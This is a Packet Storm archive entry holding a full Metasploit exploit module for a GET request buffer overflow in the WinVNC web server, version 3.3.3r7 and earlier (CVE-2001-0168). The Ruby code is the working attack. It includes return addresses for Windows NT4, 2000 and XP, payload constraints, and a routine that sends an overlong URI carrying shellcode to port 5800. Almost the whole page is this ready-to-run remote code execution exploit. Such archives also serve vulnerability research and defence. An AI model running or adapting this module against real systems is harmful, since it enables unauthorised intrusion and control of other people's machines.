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packetstormPatrickPACKETSTORM:83084
HistoryNov 26, 2009 - 12:00 a.m.

WinVNC Web Server <= v3.3.3r7 GET Overflow

2009-11-2600:00:00
patrick
packetstormsecurity.com
18

0.212 Low

EPSS

Percentile

96.5%

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WinVNC Web Server <= v3.3.3r7 GET Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in the AT&T WinVNC version  
<= v3.3.3r7 web server. When debugging mode with logging is  
enabled (non-default), an overly long GET request can overwrite  
the stack. This exploit does not work well with VNC payloads!  
},  
'Author' => 'patrick',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'BID', '2306' ],  
[ 'OSVDB', '6280' ],  
[ 'CVE', '2001-0168' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 979,  
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x0b",  
'StackAdjustment' => -3500,  
},  
'Platform' => ['win'],  
'Targets' =>  
[  
[ 'Windows NT4 SP3-6', { 'Ret' => 0x779f4e39 } ], # push esp, ret msvcrt.dll  
[ 'Windows 2000 SP1-4', { 'Ret' => 0x77bba3af } ], # jmp esp comctl32.dll  
[ 'Windows XP SP0-1', { 'Ret' => 0x71ab7bfb } ], # jmp esp ws2_32.dll  
],  
'DisclosureDate' => 'Jan 29 2001',  
'DefaultTarget' => 1))  
  
register_options(  
[  
Opt::RPORT(5800),  
],self.class)  
end  
  
def exploit  
  
sploit = '/' + payload.encoded + [target['Ret']].pack('V')  
sploit << make_nops(8) + Rex::Arch::X86.jmp(0xfffffc1c)  
  
res = send_request_raw({  
'uri' => sploit,  
'method' => 'GET',  
}, 5)  
  
handler  
  
end  
  
end`

0.212 Low

EPSS

Percentile

96.5%

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